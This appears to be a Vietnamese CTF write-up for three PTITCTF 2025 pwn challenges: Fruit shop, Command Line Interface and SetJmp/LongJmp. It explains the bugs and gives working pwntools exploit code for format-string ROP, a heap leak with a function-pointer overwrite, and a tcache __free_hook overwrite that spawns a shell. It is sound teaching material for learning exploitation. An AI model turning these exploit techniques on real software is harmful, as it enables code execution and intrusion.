# Writeup Final PTITCTF 2025 - Pwn - Link challenge: [Final PTITCTF 2025 - Pwn](https://github.com/nhh9905/CTF/tree/main/Final%20PTITCTF%202025) # Fruit shop ![image](https://hackmd.io/_uploads/BJavPY6seg.png) ## Pseudo code Vì code khá dài nên mình sẽ điểm qua 1 vài hàm chính: - `buy()`: ![image](https://hackmd.io/_uploads/SJd7OKajxx.png) - `create_invoice()`: ![image](https://hackmd.io/_uploads/HkFBOFpilx.png) - `change_gift_label()`: ![image](https://hackmd.io/_uploads/B1rIutasel.png) ## Leak libc from docker - Chạy lần lượt các câu lệnh sau: ```linux= sudo docker build . -t test sudo docker run --rm -p13331:13331 --privileged -it test nc localhost 13331 ps aux # Xem PID cat /proc/<PID>/maps sudo docker ps sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/libc.so.6 . sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 . ``` ![image](https://hackmd.io/_uploads/HyO95Faogg.png) ## Exploit - Checksec: ![image](https://hackmd.io/_uploads/rkNUKKpieg.png) - Đọc qua hàm `create_invoice()` ta thấy được bug format string, do đó phải tận dụng triệt để lỗ hổng này. - Muốn tận dụng được thì ta phải thay đổi loại hoa quả, nếu không thì sẽ không khai thác được. - Ngoài ra còn 1 lỗ hổng nữa ở hàm `buy()`, khi mà hàm `check_quantity()` có thể cho phép chúng ta nhập số âm, từ đó có thể tràn xuống `*(_BYTE *)(i + 16)` -> tận dụng được hàm `check_gift_label()`. - Mục đích sử dụng hàm `check_gift_label()` là để tận dụng thêm lỗ hổng off-by-one, từ đó có thể thay đổi được loại hoa quả của chunk hiện tại. - Tóm tắt flow khai thác: - Tràn số nguyên để tận dụng hàm `check_gift_label()`. - Off-by-one để tận dụng hàm `create_invoice()`. - Format string trong hàm `create_invoice()`. ### Leak libc & stack ```python= payload = b'\0'*0x40 payload += b'%10$p%15$p' buy(1, -1, b'y', payload) payload = b'\0'*0xa change_label(1, payload) show() p.recvuntil(b'65531|') leak = p.recvuntil(b'\n', drop=True).split(b'0x') stack_leak = int(leak[1], 16) libc_leak = int(leak[2], 16) log.info("Stack leak: " + hex(stack_leak)) libc.address = libc_leak - 0x29d90 log.info("Libc base: " + hex(libc.address)) pop_rdi = 0x000000000002a3e5 + libc.address ret = pop_rdi + 1 system = libc.sym.system bin_sh = next(libc.search(b'/bin/sh')) ``` ![image](https://hackmd.io/_uploads/SkUn6YTigg.png) ### Get shell - Làm tương tự như leak libc nhưng ý tưởng của ta sẽ như sau: - Ta sẽ ghi đè stack lên `rbp + 0x48`, rồi sau đó tận dụng `%hn` để ghi đè stack chứa saved rip của hàm `main()` vào vùng stack có chứa con trỏ. - Trước khi ghi đè stack: ![Screenshot 2025-09-21 214425](https://hackmd.io/_uploads/rkY8y5ajgg.png) - Sau khi ghi đè stack: ![image](https://hackmd.io/_uploads/SkHKJq6see.png) - Sau khi ghi đè thành công thì ta sẽ ghi đè đoạn mã khai thác vào địa chỉ stack ban nãy: ![image](https://hackmd.io/_uploads/SklOgqpjxx.png) - Làm tương tự cho các gadget `bin_sh, ret, system`: ```python= # pop_rdi save_rip = stack_leak + 0x8 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 2 payload = b'\0'*0xa change_label(2, payload) show() payload = b'\0'*0x40 + f'%{pop_rdi & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 3 payload = b'\0'*0xa change_label(3, payload) show() # bin_sh save_rip = stack_leak + 0x10 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 4 payload = b'\0'*0xa change_label(4, payload) show() payload = b'\0'*0x40 + f'%{bin_sh & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 5 payload = b'\0'*0xa change_label(5, payload) show() save_rip += 2 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 6 payload = b'\0'*0xa change_label(6, payload) show() bin_sh = bin_sh >> 16 payload = b'\0'*0x40 + f'%{bin_sh & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 7 payload = b'\0'*0xa change_label(7, payload) show() save_rip += 2 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 8 payload = b'\0'*0xa change_label(8, payload) show() bin_sh = bin_sh >> 16 payload = b'\0'*0x40 + f'%{bin_sh & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 9 payload = b'\0'*0xa change_label(9, payload) show() save_rip = stack_leak + 0x18 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 10 payload = b'\0'*0xa change_label(10, payload) show() payload = b'\0'*0x40 + f'%{ret & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 11 payload = b'\0'*0xa change_label(11, payload) show() save_rip += 2 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 12 payload = b'\0'*0xa change_label(12, payload) show() ret = ret >> 16 payload = b'\0'*0x40 + f'%{ret & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 13 payload = b'\0'*0xa change_label(13, payload) show() save_rip += 2 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 14 payload = b'\0'*0xa change_label(14, payload) show() ret = ret >> 16 payload = b'\0'*0x40 + f'%{ret & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 15 payload = b'\0'*0xa change_label(15, payload) show() save_rip = stack_leak + 0x20 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 16 payload = b'\0'*0xa change_label(16, payload) show() payload = b'\0'*0x40 + f'%{system & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 17 payload = b'\0'*0xa change_label(17, payload) show() save_rip += 2 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 18 payload = b'\0'*0xa change_label(18, payload) show() system = system >> 16 payload = b'\0'*0x40 + f'%{system & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 19 payload = b'\0'*0xa change_label(19, payload) show() save_rip += 2 payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 20 payload = b'\0'*0xa change_label(20, payload) show() system = system >> 16 payload = b'\0'*0x40 + f'%{system & 0xffff}c%49$hn'.encode() payload = payload.ljust(0x50, b'\0') payload += p64(save_rip) buy(1, -1, b'y', payload) # 21 payload = b'\0'*0xa change_label(21, payload) show() ``` - Đoạn code khai thác hơi dài do trong lúc thi không đủ thời gian để tối ưu nên mong các bạn thông cảm. - Ghi đè saved rip của hàm `main()` thành công: ![image](https://hackmd.io/_uploads/BJMLWqaoxe.png) - Bây giờ nhập option 5 để lấy shell thôi. - Thành công lấy shell local: ![image](https://hackmd.io/_uploads/S1jq-56ill.png) - Remote server: ![image](https://hackmd.io/_uploads/rJD3ZqTjee.png) ## Full script [solve.py](https://github.com/nhh9905/CTF/blob/main/Final%20PTITCTF%202025/Fruit%20Shop/easy_pwn/player/bin/solve.py) ## Flag `PTITCTF{tHiS_fRuItY_fLaVoR_iS_DeLiCiOuS_aNd_vErY_HeAlThY_3e1f4b2}` # Command Line Interface - bounty ![image](https://hackmd.io/_uploads/SJUQfcTsex.png) ## Pseudo code Vì code khá dài nên mình sẽ điểm qua 1 số hàm chính: - `main()`: ```C= int __fastcall main(int argc, const char **argv, const char **envp) { char s[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); banner(argc, argv, envp); init_cmd(); while ( 1 ) { menu(); if ( !fgets(s, 16, stdin) ) break; switch ( atoi(s) ) { case 1: add_command(); break; case 2: get_command(); break; case 3: submit_command(); break; case 4: add_console(); break; case 5: chose_console(); break; case 6: exit(0); default: puts("not exist~"); break; } } return 0; } ``` - `add_command()`: Các option từ 1->3 là thêm lệnh bằng cách malloc các chunk mới lưu các con trỏ heap, riêng option 4 là sửa lệnh. ```C= unsigned __int64 add_command() { signed int choice; // [rsp+8h] [rbp-438h] int size; // [rsp+Ch] [rbp-434h] int v3; // [rsp+10h] [rbp-430h] unsigned int idx; // [rsp+14h] [rbp-42Ch] unsigned int v5; // [rsp+18h] [rbp-428h] int v6; // [rsp+1Ch] [rbp-424h] char s[16]; // [rsp+20h] [rbp-420h] BYREF char data[1032]; // [rsp+30h] [rbp-410h] BYREF unsigned __int64 v9; // [rsp+438h] [rbp-8h] v9 = __readfsqword(0x28u); while ( 1 ) { menu_add(); if ( !fgets(s, 16, stdin) ) break; choice = atoi(s); if ( choice == 5 ) break; if ( choice <= 0 || choice > 3 ) { if ( choice == 4 ) { puts("idx edit (start 0): "); if ( !fgets(s, 16, stdin) ) return v9 - __readfsqword(0x28u); idx = atoi(s); printf("command edit: "); memset(data, 0, 0x400u); if ( !fgets(data, 1024, stdin) ) return v9 - __readfsqword(0x28u); v5 = strlen(data); v6 = edit_command_internal(idx, data, v5); printf("result %u\n", v6); } else { puts("not exist~"); } } else { printf("Command(createfile a.txt, deletefile b.txt, readfile c.txt) : "); memset(data, 0, 0x400u); if ( !fgets(data, 1024, stdin) ) return v9 - __readfsqword(0x28u); size = strlen(data); v3 = command_internal(choice, data, size); printf("result %u\n", v3); } } return v9 - __readfsqword(0x28u); } ``` - `get_command()`: in ra lệnh mong muốn. ```C= unsigned __int64 get_command() { unsigned int idx; // [rsp+4h] [rbp-2Ch] char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); printf("enter idx command (start = 0): "); if ( fgets(s, 16, stdin) ) { idx = atoi(s); if ( *(*cmd + 28LL) > 0 && idx < *(*cmd + 28LL) / 8 ) write(1, (*(8 * idx + 4LL + *(*cmd + 32LL)) + *(*(cmd + 8) + 32LL)), (*(8 * idx + *(*cmd + 32LL)) << 8)); else puts("not exist cmd"); } return v3 - __readfsqword(0x28u); } ``` - `add_console()`: đưa thêm lệnh vào `listcmd[]`. ```C= int add_console() { int idx; // [rsp+0h] [rbp-10h] int i; // [rsp+4h] [rbp-Ch] __int64 *v3; // [rsp+8h] [rbp-8h] idx = -1; for ( i = 0; i <= 15; ++i ) { if ( !listcmd[i] ) { idx = i; break; } } if ( idx < 0 ) return puts("fail add"); v3 = malloc(0x10u); v3[1] = malloc(0x28u); constructor_vec(v3[1]); *v3 = malloc(0x28u); constructor_vec(*v3); listcmd[idx] = v3; return puts("success"); } ``` - `chose_console()`: đưa lệnh mình mong muốn trong `listcmd[]` vào `cmd` làm lệnh chính. ```C= unsigned __int64 chose_console() { unsigned int idx; // [rsp+Ch] [rbp-24h] char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("idx console (start 0) : "); if ( fgets(s, 16, stdin) ) { idx = atoi(s); if ( idx < 0x10 && listcmd[idx] ) { cmd = listcmd[idx]; puts("success"); } else { puts("fail"); } } return v3 - __readfsqword(0x28u); } ``` ## Leak libc from docker - Chạy lần lượt các câu lệnh sau: ```linux= sudo docker build . -t test sudo docker run --rm -p13335:13335 --privileged -it test nc localhost 13335 ps aux # Xem PID cat /proc/<PID>/maps sudo docker ps sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/libc.so.6 . sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 . ``` ![image](https://hackmd.io/_uploads/Sy8Krcaiel.png) ## Exploit - Checksec: ![image](https://hackmd.io/_uploads/rJ3Nyjaill.png) - Đọc kĩ pseudo code và ở cột `Function name` thì mình thấy có hàm `win()`, đây sẽ là mục tiêu mà chúng ta nhắm tới, tuy nhiên PIE đã được bật nên ta phải leak được exe_base. ![image](https://hackmd.io/_uploads/Bk1ISspjle.png) ### Leak exe - Ta sẽ tận dụng hàm `get_command()` để leak exe_base. - Trong hàm `add_command()` -> `command_internal()` -> `grow_vec()` ở gadget `call rdx` thứ 2, nếu như ta tạo các lệnh theo cách thông thường rồi in ra lệnh đó thì sẽ không thể leak được vì trong hàm `grow_vec()` malloc 1 chunk theo cấp số nhân, ta gọi hàm `get_command()` để in ra lệnh thì nó sẽ lấy chính size của chunk đó để in ra. - Theo dõi flow hàm `grow_vec()`: - malloc chunk: ![Screenshot 2025-09-22 205021](https://hackmd.io/_uploads/H1c7NAAixe.png) - free chunk: ![image](https://hackmd.io/_uploads/SycN400sxg.png) - Do đó ý tưởng sẽ là tạo ra nhiều lệnh rồi gọi hàm `grow_vec()` malloc chunk, sau đó sẽ free các chunk liên tiếp tạo thành unsorted bin, từ đó ta có thể malloc các chunk nhỏ theo unsorted nên việc leak sẽ trở nên dễ dàng hơn. - Free chunk lần thứ 3 và các lần tới sẽ tạo ra unsorted: ![image](https://hackmd.io/_uploads/rJj1BRRoxx.png) ![image](https://hackmd.io/_uploads/SyVxB0Rjgx.png) - Đưa các con trỏ heap vào `listcmd[]` bằng hàm `add_console()`: ![image](https://hackmd.io/_uploads/H19SBRAsle.png) - Sử dụng hàm `chose_console()` và `add_command()` để malloc các chunk cùng 1 kích thước cố định từ unsorted, tránh việc malloc các chunk có kích thước theo cấp số nhân: - malloc lần 1: ![image](https://hackmd.io/_uploads/SyRCU00oeg.png) - malloc lần 2: ![image](https://hackmd.io/_uploads/rkweP0Rigl.png) - malloc lần 3: ![image](https://hackmd.io/_uploads/SkLfv0Ciee.png) ... - Chọn lệnh 0 làm lệnh chính để leak exe_base bằng hàm `chose_console()`: ![image](https://hackmd.io/_uploads/S1qiwCAjlx.png) ![image](https://hackmd.io/_uploads/rk7YuAColg.png) ![image](https://hackmd.io/_uploads/HJAGOCAjxg.png) ![image](https://hackmd.io/_uploads/ByrjuARiex.png) ![image](https://hackmd.io/_uploads/Bk_aOACogx.png) - Ta leak được địa chỉ hàm `destructor_vec()` và tính được exe_base 1 cách dễ dàng. ```python= p.sendlineafter(b'\n', str(1)) for i in range(11): add_command() add_command(str(1)) add_command() p.sendlineafter(b'\n', str(5)) # exit for i in range(9): add_console() for i in range(9): chose_console(i + 1) p.sendlineafter(b'\n', str(1)) add_command(str(2)) p.sendlineafter(b'\n', str(5)) # exit for i in range(4): add_console() chose_console(0) get_command(12) p.recv(0x10) exe_leak = u64(p.recv(6) + b'\0'*2) exe.address = exe_leak - 0x13f5 log.info("Exe base: " + hex(exe.address)) win = exe.sym.win log.info("Win: " + hex(win)) ``` - Thành công trong việc tính địa chỉ hàm `win()`: ![Screenshot 2025-09-22 105127](https://hackmd.io/_uploads/B1iTwr0jll.png) ### Get shell - Dùng pwndbg xem mã assembly hàm `add_one()` ta thấy có gadget `call rdx`: ![image](https://hackmd.io/_uploads/B1WBQ2Cjle.png) - Do đó mục tiêu của ta là ghi đè địa chỉ hàm `win()` vào địa chỉ heap có chứa hàm `grow_vec()` để thay vì gọi hàm đó thì ta gọi hàm `win()` lấy shell. - Để thực hiện được điều đó thì ta sửa lệnh sau đó đưa vào `listcmd[]` là xong. ![image](https://hackmd.io/_uploads/H1gWUnAolx.png) ![Screenshot 2025-09-22 184430](https://hackmd.io/_uploads/HkknI2Rjel.png) - Đưa lệnh vào `listcmd[]` và chọn lệnh đó làm lệnh chính bằng cách đưa vào `cmd`. ![image](https://hackmd.io/_uploads/H1ElP3Cjle.png) - Thực hiện bước cuối: ![image](https://hackmd.io/_uploads/rkFYP2Csel.png) ```python= p.sendlineafter(b'\n', str(1)) p.sendlineafter(b'\n', str(4)) p.sendlineafter(b'(start 0): \n', str(12)) payload = b'1'*0x20 + p64(win) p.sendline(payload) p.sendlineafter(b'\n', str(5)) # exit chose_console(12) p.sendlineafter(b'\n', str(1)) p.sendlineafter(b'\n', str(1)) p.sendline() p.sendline(b'cat flag.txt') ``` - Thành công lấy shell local: ![image](https://hackmd.io/_uploads/SyqCQs6slg.png) - Remote server: ![image](https://hackmd.io/_uploads/SyaJVspoee.png) ## Full script [solve.py](https://github.com/nhh9905/CTF/blob/main/Final%20PTITCTF%202025/Command%20Line%20Interactive/medium_pwn/player/bin/solve.py) ## Flag `PTITCTF{aN_iNtErEsTiNg_tRiP_AcRoSs_rEt_2_W1n_ExPlOiTaTiOn_4c3d2b1}` # SetJmp, LongJmp ## Script - Exploit in 9/12/2025 ```python= #!/usr/bin/env python3 from pwn import * # ENV PORT = 13339 HOST = "localhost" exe = context.binary = ELF('./pwnable_3_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) ld = ELF('./ld-2.31.so', checksec=False) def GDB(): if not args.r: gdb.attach(p, gdbscript=''' source /home/nhh/pwndbg/gdbinit.py brva 0x00000000000014AF # add brva 0x00000000000015E1 brva 0x000000000000161E # change_pass brva 0x00000000000016D3 # free brva 0x0000000000001510 brva 0x00000000000016B2 # show brva 0x0000000000001737 c set follow-fork-mode parent ''') if len(sys.argv) > 1 and sys.argv[1] == 'r': p = remote(HOST, PORT) else: p = exe.process() def add(username, password = b'abcd'): p.sendlineafter(b'> ', str(2)) p.sendafter(b'> ', username) p.sendafter(b'> ', password) def free(username): p.sendlineafter(b'> ', str(3)) p.sendafter(b'> ', username) def change_pass(username, password = b'abcd'): p.sendlineafter(b'> ', str(4)) p.sendafter(b'> ', username) p.sendafter(b'> ', password) def show(): p.sendlineafter(b'> ', str(5)) # VARIABLE # PAYLOAD for i in range(25): add(f'nhh{i + 1}'.encode()) change_pass(b'root', b'a'*8) show() p.recvuntil(b'a'*8) heap_leak = u64(p.recv(6) + b'\0'*2) heap_base = (heap_leak >> 12) << 12 log.info("Heap base: " + hex(heap_base)) for i in range(3): free(f'nhh{i + 1}'.encode()) p.sendlineafter(b'> ', str(0)) add(b'nhh26\0') add(b'nhh27\0') free(b'nhh26') free(b'nhh27') change_pass(p64(heap_base + 0x570)) free(p64(heap_base + 0x570)) add(p64(heap_base + 0x5c0)) add(b'nhh28\0') add(b'nhh29', p64(0x421)) p.sendlineafter(b'> ', str(0)) for i in range(7): add(f'nhh{i + 28}'.encode()) for i in range(3): free(f'nhh{i + 28}'.encode()) p.sendlineafter(b'> ', str(0)) add(b'nhh35\0') add(b'nhh36\0') free(b'nhh35') free(b'nhh36') change_pass(p64(heap_base + 0xd90)) free(p64(heap_base + 0xd90)) add(p64(heap_base + 0x5d0)) add(b'nhh37\0') add(b'nhh38\0') free(b'nhh38') add(b'a', b'a') show() p.recv(8) libc_leak = u64(p.recv(6) + b'\0'*2) libc.address = libc_leak - 0x1ecf61 log.info("Libc base: " + hex(libc.address)) free_hook = libc.sym.__free_hook system = libc.sym.system for i in range(3): add(f'nhh{i + 39}'.encode()) for i in range(3): free(f'nhh{i + 39}'.encode()) add(b'nhh42\0') add(b'nhh43\0') free(b'nhh42') free(b'nhh43') change_pass(p64(heap_base + 0x690)) free(p64(heap_base + 0x690)) add(p64(free_hook - 8)) add(b'/bin/sh') add(p64(0), p64(system)) free(b'/bin/sh') p.interactive() ```